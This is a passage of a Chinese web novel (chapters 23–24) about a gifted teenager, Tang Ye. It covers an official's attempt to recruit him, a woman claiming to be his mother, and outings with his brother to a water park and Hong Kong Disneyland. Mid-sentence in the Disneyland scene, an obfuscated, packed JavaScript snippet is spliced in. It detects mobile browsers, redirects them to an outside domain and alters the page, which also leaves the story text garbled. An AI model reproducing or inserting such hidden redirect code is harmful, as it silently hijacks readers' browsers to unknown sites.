唐晔慢腾腾走回到万里书院大门外时,方源刚好也来到楼下。 “方伯伯,这次,您来晚了呢!”少年笑着说。 “我接到通知立马过来了,没想到何老先生直接先过来找您。怎样,刚才您是否见到一位外国女士?” “见到了,他们还声称她是我妈呢!” “那您……” “我怎么可能相信?方伯伯,我有爷爷,有爸爸妈妈,有哥哥姐姐,也有您。哪来的别的妈妈呢,您说对吧!” 少年说得如此笃定,方源却看出他满怀哀伤,他两手紧紧扶住唐晔的双肩,正想说点什么—— “小晔,你回来了?方伯伯怎么也来了。”唐天这时也刚好跨进书院大门,见到弟弟,欢快地迎了上去。 “哥哥,今天你也这么早!”唐晔转头换上个甜甜的笑。 我听到什么? 他的妈妈,来了?他,要离开了? 那我还能剩下些什么? 厚重的玻璃幕墙外,那落日余晖,是消逝的快乐。 如梦境里一样,像散落的碎片,又像随风而去的花瓣。 要我怎么捡? 他的心情随着天色的暗淡而越发沉重,仿佛整个世界都在陪他一起沉沦。 电梯里,他突然上前一步从后面紧紧抱住弟弟:“不要走,小晔,不要走!” 唐晔也紧紧回抱住他的一双手臂:“哥哥,我在,我在。我一直在,好吗?” 唐晔自小没有母亲的庇护,每年的母亲节,对他来说,都如同寻常日子般无甚波澜。然而,这周日当他目睹了唐天与归秀兰之间那份深厚的母子情谊,心中的某处突然泛起涟漪。他联想到何嘉南那总是笑盈盈的母亲,还有梁一民那位虽然病重但依旧对他充满慈爱的母亲,心中的羡慕之情油然而生。那些温馨的画面,那些母爱的温暖,他从未体验过,却也深知其珍贵。 这一刻,他忽然希望,有一天,自己也能拥有那样的温暖与依靠。 而现在,他的母亲,似乎离他并不遥远。 23. 第 23 章 唐晔放学后在自家楼下再次看到那辆黑色轿车时,心情顿时烦躁起来。每次有事找他时,都要上演“我是一个身负重任的神秘人”的老套戏码? “哎,怎么又是你们,难道您也想把我抓去防务部?”他敲了敲车窗,主打一个“早死早超生”。 当时的那个对他凶巴巴的张恩国,今天却颇为平静招呼他上车:“我要你来跟我做事情。” “为啥?难道那四个大哥哥,也都出了事故死了吗?”少年语气天真。 张恩国愣了愣,随即反应过来,何粤死了,何耀祖找这孩子,果然目的就是去顶何粤的位置,但他忍不住像个长辈那样说教起来:“你这孩子!对生命真是毫无敬畏之心,难道你爷爷真的从来没教育过你吗?插句话,何粤虽然不是老何亲生儿子,但老何与他大哥情义深重,老何一生未婚,把何粤、还有何东何西几个侄子侄女都当亲生孩子看待,你刚才那句话,可别当着何耀祖的面说,他暗地里伤心得很。” 少年不说话。 张恩国皱起眉头:“你该不会已经说了吧。唉,怎么说你……” 少年百无聊赖地东张西望:“张爷爷,您飞那么老远,不是来跟我说教的吧?” “那我直接点,唐晚星十几年前没有教给Nuit的东西,但它现在会了。这十几年来,只有你接触过它,你说,是谁教它的?” 唐晔耸了耸肩,轻松地说道:“也许是它自己学会的呢,你要知道,人工智能的学习能力可不是吹嘘的,比人类孩童在3岁以前的学习能力还要强得多,关键是还不受智商与语言的限制。” 老者注视着这少年:“我看到了你的非凡能力,来我这里,我给你机会,你要的资料自己能查得到。” 少年叹了口气:“哎哟,您连表面工夫都不做做?比如像何爷爷那样用点亲情来感动感动我?” 老人紧紧地盯着他:“我不需要以情感来说服你,这对于你的头脑是种侮辱。” “比如?” 老者说:“我知道何老怪把你的母亲带来了。” 少年一副玩世不恭的模样:“啧,知道这个很厉害吗?你们不是一伙的么。毕竟三月份的时候,你们两个一个红脸一个白脸,配合得真是天衣无缝,把我这小孩逼得差点没哭出来。不过我已经答应了何爷爷去他那儿啦。” “不,你并没有答应何老怪。而且你还怀疑那女人是否你的母亲。” 少年耸耸肩:“那很正常吧,难道随便来个人跑来跟我说‘我是你妈’,我都相信么,我难道就这么好骗。” “不过何老怪也不是‘随便找个人’,相传他们俩孩子当年感情确实非常好。”老人的语气中透露出一种难以言表的情感。 “我不要听‘相传’,我想知道她与唐晚星的真实关系。”少年似乎认真起来。 老人顿了顿,似乎在整理思绪,“你见到的这位女士,十几年前是个从邻国过来的留学生,学成之后回国,如今已经是他们国家科研院某个重点部门的负责人了。” “这我当然查得到。” “实际上,她是邻国现任总统的亲生女儿。” “哈?就这么点消息?!”少年这么说着,跷起了二郎腿像听故事一样,“没了?” “当时,那个男生属于防务部,是个出类拔萃的人才。而女生,虽然表面只是个普通留学生,但既是邻国某重要人物的秘密家人,身份特殊,所以必须在防务部的严密监控下。我的女儿,张少梅,正是她的护卫官员。” 说到这里,老者停顿了一下,似乎在回忆那些遥远的往事——“由于我与你爷爷的关系不错,所以唐晚星十岁来到京城后,经常到我家玩耍。就这样,他与我女儿认识,也难免会被那个正值如花般美丽青春的白人女生所吸引。”他的话语中透露出一种莫名的感慨。 “听起来挺浪漫的。”唐晔漫不经心地说道。 “更浪漫的是,当那个女生遇到危险时,唐晚星更如同天神降临般救下了她。”老者的语气中充满了钦佩。 “哦?愿闻其详。”唐晔被这个故事深深吸引,忍不住催促道。 “邻国形势十分严峻。而她父亲的派别眼看要落败,有人为了表示诚心合作,便想把这个秘密的女儿送过去作为筹码。”说到这里,老脸上露出了一丝愤怒和无奈,“唐晚星得知了这件事后,毫不犹豫地站了出来。他利用自己高超的电脑技术控制了所有的电子设备,成功地放跑了已经被囚禁的无辜女孩。” 听到这里,唐晔为唐晚星的英勇和智慧而喝彩:“想象一下那个画面:在危急关头,一个少年挺身而出,凭借自己的才华和勇气救下了心爱的女孩。这简直就像是一部电影中的经典场景嘛!然后呢?”他夸张地演绎着憧憬之情。 “然后他们便有了你!” 少年嘘了一声:“1985年的唐晚星与同年龄的卡佳?您在说什么天方夜谭啊?” “你真是01年出生的吗?” “……这好笑了,哪个孩子能知道自己是啥时候出生的。” “不管你多不愿意相信,这就是答案,也是唐万里一直不愿公开你是唐晚星的骨肉的原因。”老人说这句话,不由得带上同情的眼神看了看这个少年。 少年漠然地笑笑,也对,对于唐万里来说,自己不过是他的完美儿子人生中的污点而已,没把自己扔下水道、能大发慈悲把自己养活就不错了。想到这点他又问:“那我当时是怎么被送回给唐万里的?我记得,我曾在国外某个地方生活过。” “这个嘛,得你自己去查,我说的已经够多了。” “就这点爆料?话说该不会您也不知道吧?……哎,好吧,我也看得出,磨您没什么用,那您该说的都说完了?” “我还是那句,帮我做事,你会获得最先进的技术支持和最完美的世界秩序。这样的机会不是每个人都能得到的,你应该好好珍惜。” 唐晔听后,神色并未有太大变化,他淡淡地说道:“最先进的技术支持和最完美的世界秩序?听起来确实很诱人。但你知道,我并不是那种容易被诱惑的人。我做事有我自己的原则和底线。” “原则和底线?”老人冷笑了一声,“在这个世界上,只有强者才能制定规则和秩序。你拥有超越常人的能力和智慧,能实现更大的价值。” “怎么每个人都游说我去拯救银河系呀?来点实际的,张爷爷,您也知道,我爷爷吧,怎么说虽不是富可敌国、但几百万一两千万他还是舍得给我花的,平时给个零用钱也五六位数。我跟你走,你能给我多少钱一个月呀?”少年丝毫不为所动。 老人张了张嘴,似乎没想到这个少年会如此直接地谈到钱。他顿了顿,然后缓缓地说道:“小孩,你要明白,钱并不是万能的。虽然我可以给你提供一份稳定的收入和良好的待遇,但这并不是你应该考虑的唯一因素。” “哦?”唐晔笑了,“那请问,除了钱之外,您还能给我提供什么呢?” “权力、地位、影响力。”老人一字一顿地说道,“在我身边,你将有机会接触到高层级的决策过程,参与到国家大事的讨论和决策中。你的意见和观点,将有可能影响到整个国家的发展方向。这种权力和影响力,是你用金钱买不到的。” “听起来不太吸引啊,我很俗的,就喜欢钱。”少年挠了挠头发,露出一副不以为然的表情。 老人微微一笑,“是吗?但你确定现在所拥有的一切都是你的吗?我也听说,上个月,你和你姐姐才因为这件事吵过架。” 少年的表情终于有了一丝松动:“是她要吵。”他辩解道,但语气中已经透露出些许的无奈和落寞。 “所以,当你大姐回来,一步步掌握了唐家大权后,你还会像现在这样自在吗?”老人直击要害。 少年陷入了沉默。许久之后,他自嘲地笑了笑,“自在?也对,是挺自在的,只是因为无人在意,所以才自在罢了。” 他深吸了一口气,“好了,您的建议我听到了。还是一样的回答,我考虑下。”说完,他打开车门离去。 五月底的一个周末,唐天早早地做好了计划,约上一些朋友去水上乐园好好玩耍放松。然而,计划总是赶不上变化,就在临行前夕,一些意料之外的消息打乱了原有的计划。 周五上学的时候,何柏文突然告诉唐天,这周末他必须随父亲回乡下参加自家一位叫何粤的堂伯的葬礼。 而几乎在同一时间,何嘉南也向唐晔透露了一个坏消息。原来,当时参加物理联赛时,那位给他们小队设下难题、留下深刻印象的戴黑框眼镜的评委何粤,竟然是他们何家的远房堂伯,因为只在几岁的时候见过,后来就对这位堂伯没有什么印象了。但令人遗憾的是,这位堂伯在几周前因为一场意外不幸离世了。 唐晔不得不装作对何粤的去世毫不知情,向何嘉南表示遗憾。 原本因为他们两个都不参加这次的水上乐园之行,唐晔打算放弃这次活动,然而,当他回到家,向哥哥表达了这个想法后,唐天的一番话让他改变了主意:“你总不能一辈子只有一两个朋友吧?这次活动我还叫了别的同学呢,有些你上次打篮球的时候也见过的。” 在哥哥的强制和说服下,唐晔只好同意了继续前往水上乐园的计划。 两兄弟在游乐园门口与黎梓茵,以及一起打过篮球的李明和王阳见了面。本来还有个女生计划一起过来,结果临时放了他们飞机,人就更少了。 唐晔慢热,见他们同班四人有说有笑,他觉得落单,几乎一言不发。黎梓茵一开始还一边排队一边拼命逗他说话,他虽然也回答了几句,终是两人觉得话题差得太远,黎梓茵也转回自己的同班同学那儿了。 为了女朋友的颜面,唐天半开玩笑地埋怨了弟弟几句,他就更一声不吭了。 到了玩水上大嗽叭这个四人项目时,唐晔简单地说了句“你们四人去吧”,就想离开队伍。 唐天一把抱住他:“去哪?” “不想玩。”唐晔有点堵气似地皱着眉头,向唐天发着脾气。 “你为什么总是这样,为了使你不闷在家里,费心费神带你出来走走,你就永远不考虑我的感受!”但今天唐天不知是否因为当着女友的面,他马上激动起来,在队伍附近就愤怒地吼道,惹来整队人侧目。 唐晔想举手制止他的叫喊,却被他一把拨开。 唐天继续说:“昨天都跟你说过了,你总不可能一辈子只有一两个朋友,你与何嘉南不是也是跟我出来玩认识的吗?李明王阳就不能做朋友吗?要不,你也约个女生一起呗。” “不关大家的事,是我的问题。”众目睽睽,唐晔不想与哥哥争辩。 “你说你什么问题?!” “我有点儿不舒服,行了吗。”唐晔的态度也开始敷衍。 “你总是找借口!”唐天打断了他的话。 其他三个人也离开队伍围了上来,站在一旁试图劝解,但两人都陷入了情绪之中,听不进任何劝告。 “妖,别管他!”唐天最终拉上了自己的女友和同学,四人刚好可以组成一个小队去玩水上大嗽叭。他们离开了原地,留下了唐晔一个人站在那里。 唐晔孤独地走在水上乐园的热闹人群中,周围是欢声笑语,他却像置身于另一个世界。 那边一阵欢快的音乐声传来,吸引了他的注意。他抬头望去,只见一群年轻人正在水上舞台上欢快地跳着舞,大家笑容灿烂,热烈地扭动着,仿佛整个世界都充满了欢乐。 唐晔站在远处,静静地观看着他们的表演。他心中涌起一种莫名的羡慕,他渴望自己也能像他们一样,无忧无虑地享受生活的乐趣。他微微叹了口气。 就在这时,一个彩色的肥皂泡球突然朝他飞来,他本能地躲闪,却不小心滑倒在水中。周围的人们纷纷投来关注的目光,他挣扎着站起来,心中充满了孤独和苦涩。 唐天他们玩完大嗽叭,打弟弟的电话想找他。正好唐晔遇上这档子事,心情特别烦闷,并没有接唐天的电话。 刚才玩了刺激游戏,唐天早就把吵架的事忘到九霄之外,弟弟的电话却半天没人接,他开始慌了:“小晔该不会真的身体不舒服吧?”说着,放开了抱着黎梓茵的手,又连续打了好几个电话,始终是无人接听的状态。 他顾不上女朋友和两个同学,急急忙忙地在水上乐园的各处餐饮店寻找了起来,但完全看不到弟弟的身影,以唐晔的性格,肯定不会自己去排娱乐项目,乐园这么大,他能去哪? 唐天开始心慌,特别是,回想起一年前,差不多就是这个时候,唐晔两次住院、几近病亡。 就在这时,一阵欢快的音乐声传来,吸引了他们的注意。原来是乐园里的花车巡游开始了,五彩斑斓的花车缓缓驶过道路。 在花车和人群的间隙,唐天无意间瞥见唐晔就坐在道路对面的树下,他心中一喜,立刻不顾一切地冲去。他穿梭在人群中,几乎与穿着比基尼的表演小姐姐撞到一起,引得工作人员大声警告,众人的目光也纷纷投向他。然而,唐天却像没有听见一般,一心只想奔向弟弟。 此刻唐晔心中的委屈也基本上消了。他见到哥哥向自己奔来,正准备站起来开心地向哥哥打招呼。 怎知,经过刚才的骚动,唐天的心情变得更加糟糕。他一见到唐晔,便劈头盖脸地又是一阵痛骂。 在花车巡游还未散去的人群里,唐晔被哥哥如此大声地责骂,再次变得一言不发。他低下头,心中充满了委屈和孤独。 这时其他三人也找了上来,李明想着说几句公道话,便追问唐晔为什么不接他哥的电话。然而,他们的话却让唐晔感到更加无助。他无所谓地笑了笑,说:“你们四个人玩吧,我先回去了。” 黎梓茵深知唐晔性格慢热,此刻没有熟悉的人陪伴,他自然玩得不开心,又观察到唐天听到弟弟想走时情绪已经激动起来,为了缓和气氛,她提议道:“这样,要不让李明和王阳陪着唐晔先去玩玩别的吧?” 王阳也察觉到了紧张的气氛,连忙附和着,试图劝解这对兄弟。 然而,唐天的情绪似乎已经失控,他怒气冲冲地一把拧住了弟弟的手腕,任凭唐晔喊着“疼”,他也没有松手的意思。 唐晔见平时撒娇耍赖的方式此刻毫无作用,也收起了温和的面孔,冷冷地任由唐天将他的手腕掰得通红。 李明和王阳见状,也觉得继续待在这里只会让气氛更加尴尬和紧张,于是他们说了声“我们先过去排队了,你们三个等下一起来啊”,便先离开了。 就在这时,唐天的目光突然落在了唐晔的手肘上,那里有一处明显的刮蹭,还往外渗着血。应该就是刚才滑倒时被瓷砖刮伤的。这一幕瞬间让唐天想起了一年前的四月末,在小学的那个卫生间里,他曾经对背部受伤的弟弟做过的事。那些痛苦的回忆如同潮水般涌上心头,他突然感到心痛如绞。 黎梓茵看向唐晔的手臂上,有些擦伤,虽然不算严重,但血迹斑斑的样子还是看着挺疼的。她转身向路过的工作人员询问最近的医疗点,希望尽快带唐晔处理伤口。 工作人员很快便带他们过去,为唐晔擦洗了伤口,并仔细消了毒。 唐晔看着自己被包扎得整整齐齐的手臂,有些哭笑不得,“真的没事啦,这点小伤,过一会儿止了血就没事了。”唐天却凶巴巴地叫道:“还说!叫你自己乱跑!”唐晔的脸再次黑了下来。 黎梓茵便说了句:“小晔这样也玩不了水,他实在想先回去,那就先让他回去吧。” 唐天本来还想把弟弟留在身边,一听这样她一说,又执意道:“不行,他这样怎么能一个人回去?我陪他一起走。” 唐晔有些无奈地看着唐天,“哥,我真的没事,你不用太担心了。” 但唐天似乎并不打算妥协,他执意要陪着唐晔回去。黎梓茵见状,无语地叹了口气,她知道唐天的性格,一旦他决定的事情,就很难改变。 三人打车回万里书院,一路上,唐天一直紧绷着脸,仿佛随时都会爆发。唐晔和黎梓茵也一言不发,气氛显得有些尴尬。 回到家楼下,见黎梓茵一副闷闷不乐的样子,唐晔知道她今天玩得不尽兴,是因为自己而生气,心里有些过意不去,便让哥哥把她送回家,但被她冷冷地拒绝了。 周一。 唐晔这么跟何嘉南讲述的:“我们总是不同频率。当我开心时,他怒气冲冲。而当我孤独时,他永远体会不到我的无助。” “唐晔已经不是小孩子了,就破了个皮!自己打个车回去为什么不行?关键是打车的时候,唐天还要让我坐在司机旁边,自己坐后面拉着唐晔的手,像只舔狗似的!”同一时间,当黎梓茵向何柏文吐槽时,何柏文差点没笑倒到一边。 “你还笑!不是看在你面子上,我早就和唐天吵起来了!”黎梓茵气鼓鼓的。 “哎哎,你和他好,那是你们的事,与我可无关哈!”何柏文连忙笑着推卸责任,又正色道,“不过,他们兄弟之间发生过很多问题,具体……你自己问他吧。他难免会特别宠溺小晔。如果你受不了,一定要和他沟通好。但我提醒你,注意方式。你争不过小晔的。” “我不是想和唐晔争。只是,我能知道怎么回事吗?”放学后,黎梓茵主动找了唐天。 “我以前,曾经害他进过ICU,差点死去。”唐天翻出手机里一年前的视频,“刚好一年前,小晔在ICU里,插满了管子、心跳微弱。”唐天向黎梓茵解释道。 “这么严重?”略惊讶后,黎梓茵觉得具体问题要具体分析:“你心疼他,对他好,那他懂你吗?你那天打了他的电话那么久,他心情不好就不接,难道你就觉得他没问题吗?” “他这当然也不完全对,但千错万错,终归是我先欠了他的。”唐天叹道,又哄回女朋友:“这样好不好,下次我们约会不带他就是了。” “哎,好吧!这周末我们去哪玩?”毕竟黎梓茵是个开朗的女生,很快就把这个不快给压了下去。 “这周末……不行。有约了。” “去哪?和谁?”她逼问着自己男友。 “呃……和我弟,去香港迪士尼。” “哼!”女生再次鼓起腮帮子。 唐天连忙好说歹说,“上星期他没玩开心,所以是我主动承诺了,周末单独带他去迪士尼让他玩尽兴。那你也一起?” “别!刚刚才说好约会我们单独去。”黎梓茵算是怕了这俩兄弟。 “那就再下个星期,没事,我再去一次。” 女生终于笑起来:“好,你请客,住宿门票你包!” “没问题,哥有的是钱!” 第二天下午回到万里书院附近,唐天无意识看到,有台商务车停在路边不远,而正巧在这个时候,竞然看到自己亲爱的弟弟从车上下来。 有个高个子的白人女性下车追了出来,和他说了几句北国语,而他的神色忧伤,却并不答话,停了一下继续往前走。白人女性换成中文对也喊道,“晚星……” 这次他终于转过头冷冷说道:“唐晚星早已去世,希望你能紧记这一点。” “对,他已经去世了,你在这里,以一个私生子的名义,被人嘲笑,被人轻视,被人欺辱,可活得舒心?”不知是不是人种的原因,她露出非常戏剧化的担忧的神情:“何耀祖先生说过……” “谁说我是!”男孩朝那女人大声叫道,既抵触又痛苦。 高个子身材高挑又庄重大方的外国女人用极其温柔的声音说着:“孩子,你别紧张,我不想害你。”一边一步步朝他走了过去,在即将碰到他时,却猛地被人推开。 唐晔回头一看,原来护着他的人是唐天,他连忙和哥哥一起进了书院大门。 “刚才那个人,是你妈妈?”唐天问。 “不是!”听到妈妈这两个字,唐晔尖叫道,捂着耳朵,神情却悲伤至极。 “对,她怎么会是你妈妈呢?你没有妈妈,不,我的妈妈就是你的妈妈,对不?小晔!”唐天面带恳求地说。“我把我妈妈给你……” 周末,唐天如约带着唐晔前往香港迪士尼乐园游玩。香港迪士尼乐园建园多年,依然吸引着无数孩子前来探险。 唐晔兴奋地穿梭在乐园的各个角落,唐天表面笑话他,却不由得也被他情绪所感染,也开心起来。 玩了半天,接近傍晚,正当唐天硬拖着弟弟准备挑战“迷离庄园”的探险时,不远处传来同样抗拒的尖叫声。 唐天无意中回头,竟然看见了熟悉的身影——宁波宋家的两姐妹,宋玉洁和宋兰心。他们两家是世交,所以彼此并不陌生。此刻,宋玉洁和唐晔一样,不肯进鬼屋,被她的妹妹宋兰心紧紧拉住。 “唐天!唐二公子!是你啊!我们好久没见了!”宋玉洁率先尖叫着打招呼,她的声音里充满了惊喜。 唐天笑着调侃:“你咋像我弟那么胆小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942757|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他看了看旁边的唐晔,又指了指宋兰心,“你们这是……” “我们专门从沪城飞过来玩的。”宋兰心抢着回答,她的目光不时地瞟向唐晔,脸上泛起一抹红晕,“嗨,好久不见了!” “你们认识?”唐天好奇地问。 “去年,全国中学生物理联赛,我们见过的。”宋兰心微笑着说,那段回忆显然给她留下了深刻的印象。 唐晔也对她微笑了一下,他还记得她琵琶弹得很好,那次联赛后的文艺表演,她的琵琶独奏让人难以忘怀。 唐天似乎觉察到了什么,他拉过宋玉洁,对宋兰心说:“兰心姐,我弟交给你!”然后,他就拉着尖叫得更大声的宋家大小姐宋玉洁进了鬼屋。 宋兰心把纤细洁白的手伸向唐晔:“三公子,我们走吧!” 然而,唐晔却正色说:“宋小姐,抱歉打扰你的雅兴。我不想玩这个,所以没法陪伴你。这样吧,等我哥哥和你姐姐出来了,再请他陪你玩一次,好吗?” 宋兰心听后,并没有露出失望的神色,反而笑着说:“没事,我也不是特别想玩,只是因为我姐不敢玩,我才硬拉着她去玩的。” 唐晔听后,心里微微一动,“宋小姐此举也挺出乎我意料的!难道捉弄令姐对于你来说,也是件有趣的事情?” “因为感情好啊,而且她也不是真的恐惧这件事,只是她觉得去鬼屋太暗,自拍起来不美,才不愿意浪费时间而已。如果知道她反感这件事而强迫她,那才是捉弄吧。”宋兰心的解释让唐晔释然。 两人相视笑了,靠在出口外面的栏杆上聊天。 宋兰心无意间看到唐晔右手的指甲略长,却修饰得整齐圆润,而左手指甲却并没有长出指尖。她看了看他的手,又看了看自己右手与他同款的指甲,一丝莫名的默契在她心中泛起,她笑着问道:“上次晚会上我弹的曲子,你觉得怎么样?” 唐晔偏头回忆了一下,认真地说:“高山清风、流水淙淙,弹得挺好的。” 宋兰心眼前一亮:“真心话吗?三公子你是在哄我开心吧?” “直接叫我名字就好了。你弹得真的很好,左手的按弦力度适中,滑音流畅,右手的拨弦更是精准有力。特别是弹奏到那些复杂的部分时,你处理得真是得心应手。” “哦?看来你很懂琵琶呀!难得有人能这么细致地评价我的弹奏。”她眼里流光溢彩。 “我学了一年多古琴,高山流水我之前也稍练习过。我觉得古琴和琵琶在弹奏技巧上有很多相通之处。” “我学了差不多9年了呢!不过一开始是被爸爸妈妈逼着去的,到真正喜欢上琵琶、自己想要去练习,都是10岁以后的事情了。那,你能说说,在弹奏这些曲子时,左右手是怎么配合的吗?” 唐晔挑了挑眉毛,又含笑说:“你在考我呀?在我看来,左手主要负责音色的变化和音准的控制,而右手则负责节奏和力度的把握。就比如在弹奏高山流水时,左手的按弦需要细腻而富有情感,而右手的拨弦则要刚劲有力,才能表现出那种山水之间的磅礴气势。” “你说得对。在琵琶上也是这样,左手的指法要灵活多变,右手的拨弦要富有节奏感。而且,减字谱中的每一个符号都代表着一种特定的弹奏技巧,需要我们去仔细揣摩和体会。” 唐晔来了兴致:“你也会看减字谱?” “我当然会。教我琵琶的那个老师就是从减字谱教起的呢!” 唐晔表示深有同感:“是啊,减字谱真是传统乐器的精髓所在。” 两人仿佛找到了共同话题,聊得越发投机。 “我很喜欢中国的十大古曲几乎每一首,比如我最近在练梅花三弄,它描绘了梅花的傲骨和清高,每次弹奏都仿佛能感受到那种超脱世俗的气质。” 唐晔点了点头:“梅花三弄的确非常经典。还有平沙落雁,它描绘了秋日平沙之上群雁飞鸣的景象,那种宁静而深远的感觉,每次都让我觉得悠然自得。不过我呀,最近在练渔樵问答,静心静神。” “看不出你会喜欢这首超然物外的曲子呀,那天看你对比赛的项目那么认真执着。” “比赛时你也在现场吗?……没什么,只是学着让自己能波澜不惊一点儿罢了。” 两人从琵琶聊到古琴,进而探讨各种中国古典文学,话题似乎永无止境。 等到唐天和宋玉洁两人从鬼屋出来时,发现他们两人已经聊得让人插不进话了。 在唐天的强烈建议下,他们又一起走到过山车下面。唐天想把弟弟也硬拉着去玩,唐晔皱了皱眉头:“哥哥,这个对于我来说太刺激了,我玩不了。”他用手暗暗轻抚了一下自己的心脏位置。 唐天看起来很想弟弟能参与到他喜欢的项目里,但他不敢强迫他,毕竟他这样的身体状况。 “哎,弟弟,你这也不敢玩那也不敢玩,那你来干嘛的?”虽说是两姐妹,宋玉洁也不过是15、16岁的年龄,却打扮得对于他们的年龄过于成熟,脸上堆积了太多元素,看着就像那些所谓的网红脸。 唐晔皱了皱眉,并不太想搭理她。 宋兰心连忙说:“姐,不如你们俩去玩吧,我们在附近喝东西等你们。” 唐天心不甘情不愿地问:“小晔,你真的不想玩?” “哥,你知道的,我没法玩这个。” “那我也不玩了!你还想玩什么,我就陪你去哪个。”唐天虽然嘴上这么说着,眼神却一直瞟向上面的过山车。 “我累了,只想坐着休息一会儿,你们玩呗,没事。”这一天起码走了上万步?两万步?对于不热衷运动的瘦弱男生来说已经只想好好休息了,但哥哥还兴奋地提起晚上的烟花,那就再坚持一下吧。 “那你想到要玩什么时就给我发信息。” “知道啦知道啦!”唐晔露出有点儿不耐烦的“你快去吧”的神情。 等哥哥姐姐们走远,宋兰心说:“看不出小天这么温柔啊?我印象中他一直是个小霸王。两年没见,感觉变了很多呢!” 唐晔笑笑,并不回答。变了吗?哥哥不会永远迁就自己,总有一天他会忍受不了,到时候又会疏远自己了吧。 “你们双胞胎性格相差挺大的呀!”她又微笑着轻声说。 “你和令姐也不太像,特别是……你说话的声音和语调非常好听。”唐晔面对女生,第一次有这种奇怪的期待感。 “吴侬软语吗?其实,我想,既然学了那么久的琵琶,总得表现得有些修身养性的样子吧。” “我并不觉得你是在装,反而觉得这样很自然,很好。”男生第二次微笑着低声回应。 “对了,我们去过羊城好多次了,怎么之前没在唐家见过你?” “小时候我一直跟爷爷在远离市区的大宅那边居住,没有跟爸爸妈妈哥哥一起住。” “哦,为什么两兄弟要分开呀,也没见归姨说起过你。” “小时候我身体不太好。妈妈更疼哥哥。”唐晔犹豫了一下。 “啊,你小时候怎么了?那现在你身体没事了吧?”听他这么一说,她很担心地盯着他的脸。 “已经没事了。”男生急忙摇摇头,看起来像是要证明些什么似的,马上喝了一大口冷饮。 两人在附近的饮品店坐着的时候,看见过山车上有个东西突然掉落下来,引起周围一片惊叫。 不一会儿,就看见宋玉洁火急火燎地从过山车的出口冲了出来,大叫:“宋兰心!你在哪!妹!”来来往往的人们都侧目看着她,摇头叹气。 接着,唐晔的手机也响了起来,是唐天的来电。 他俩马上迎着自己哥哥姐姐走过去。 在宋玉洁流畅自如、连绵不绝的话语的输出下,再加上唐天的解释,他们总是搞清楚了怎么回事。 宋玉洁想把自己坐过山车时的美态拍下来,不顾工作人员的提醒,把手机拿在手里拍摄,结果一时没拿稳,从过山车上掉了下来。 宋兰心后怕似的拍了拍胸脯,又抱怨姐姐:“你可真是!叫你别那么整天拍来拍去,你看,现在出事了吧!幸好掉下来没砸到人!这万一伤了人怎么办!” 宋玉法却满不在乎地说:“砸到人,赔呗!关键是姐姐我从今早到现在那么多照片视频,都没了耶!幸好跟拍摄影师那儿有拍了几小时。” 她看起来愁肠百结,但话语里完全看不出引起了相关安全事故、有可能会伤到人、或是让过山车停运检测的愧疚感。这不由得让唐家两兄弟都皱了皱眉。 唐天说:“那你弄个运动相机夹在身上不好?” “没美颜啊!对了,妹,我们走吧!” “去哪?” “废话,回去市区买个手机呀!”她连珠炮似的话语让人倍感紧张。 “这就走了,我还没看烟花呢!”宋兰心满心不情不愿,嘟哝着。 “那你手机给我用!”姐姐说得毫不客气。 “我给你我用什么!又不是我让你弄丢的!”妹妹的声音也不由得变得又快又急。 “好啦好啦,二小姐!陪我去市区买台手机行不?姐平时对你多好!现在姐姐有事,你就不肯帮我了?”她连忙摇晃着妹妹的手说。 宋兰心叹口气说,“可我就想留在这儿看烟花!明天下午就飞回去、后天要上学了……哎,好吧!”那双灵动的大眼睛却一直流连在唐家两兄弟身上。 唐晔看着她,露出同情和不舍的眼神。 唐天说:“去吧,兰心姐,我今晚发视频给你。” 她感激地对唐天微笑了一下,拿出手机,对唐晔说:“可以加个微信吗?把你拍到的也发给我,我要双视角的!” 唐晔很自然地笑着打开手机,两人互换了联系方式。 宋玉洁也在旁边叫着,“弟弟,回头姐买了新手机,你也把我加上哈!” 唐晔却当没听到似的没有搭理。只挥挥手和两姐妹告别。 周末在迪士尼疯玩两天,唐天开心得嘴巴都合不上。 唐晔从来没有看过这么满目繁华又童真的电影场景,一开始他还扭捏地不敢和卡通人物拍照,后面渐渐放开。 周日晚上回到羊城,唐天还兴致勃勃地把买来的各种周边堆满了弟弟的房间,弄得唐晔满脸黑线——真把我当小孩看待么。 唐天小心翼翼地帮弟弟盖好被子,听着弟弟糯糯的声音和自己说晚安,他高兴极了,睡梦中也在回忆着这两天的一切。 24. 第 24 章 周四,另一个学校的参观团来省实参观学习。初一由何嘉南和袁雅维当代表,与初三的王翔宇师兄、以及别的师兄师姐们带他们参观学校,到了将近中午,就把参观团的同学带到饭堂用餐。 当天上午第三、四节本来唐晔的班是体育课。他还是按平时习惯提早到饭堂用餐。 王翔宇带着众人一起进饭堂时,刚好看见唐晔坐在门口左手边不远处的桌子上吃饭,王师兄便招呼大家在空位上坐下来,并向大家自豪地介绍到:“说到我们这位小师弟,真的是让人佩服不已!去年物理联赛,他年纪虽然最小,但贡献可大了,是我们获奖团队里的佼佼者。大家都特别为他骄傲,觉得他超级厉害!有空的话,大家也可以多和他交流交流,一起进步嘛!” 唐晔已经快用完午餐,闻言净了手起身,向邻校的代表点头打了招呼。邻校的同学们都纷纷表示佩服。 邻校的一位师姐说:“比赛的直播我也看了,我还正想问问你们有关于智能机器人机器学习方面的内容呢!” 唐晔不善于在人群中太过张扬,但此刻面对师姐的提问,他依然礼貌地回应:“关于智能机器人和机器学习,其实涵盖的内容相当广泛。简单来说,机器学习就是让机器人通过大量数据学习,不断提升自身的能力。而智能机器人则是结合了多种技术,包括感知、决策、执行等,以实现更高级的任务完成。” “哇,听起来好深奥啊!”旁边一个邻校的女生感叹道,“你平时是怎么学习这些知识的呢?” 唐晔想了想,回答道:“其实学习这些知识,最重要的还是兴趣和坚持。我对这些领域一直很感兴趣,所以就会主动去寻找相关的资料,阅读相关的书籍和文章。同时,直接与外国的相关研究机构联系及交流。” “很可啊!”另一位邻校的男生说,“唐晔同学,你有没有想过以后从事这个领域的工作呢?” 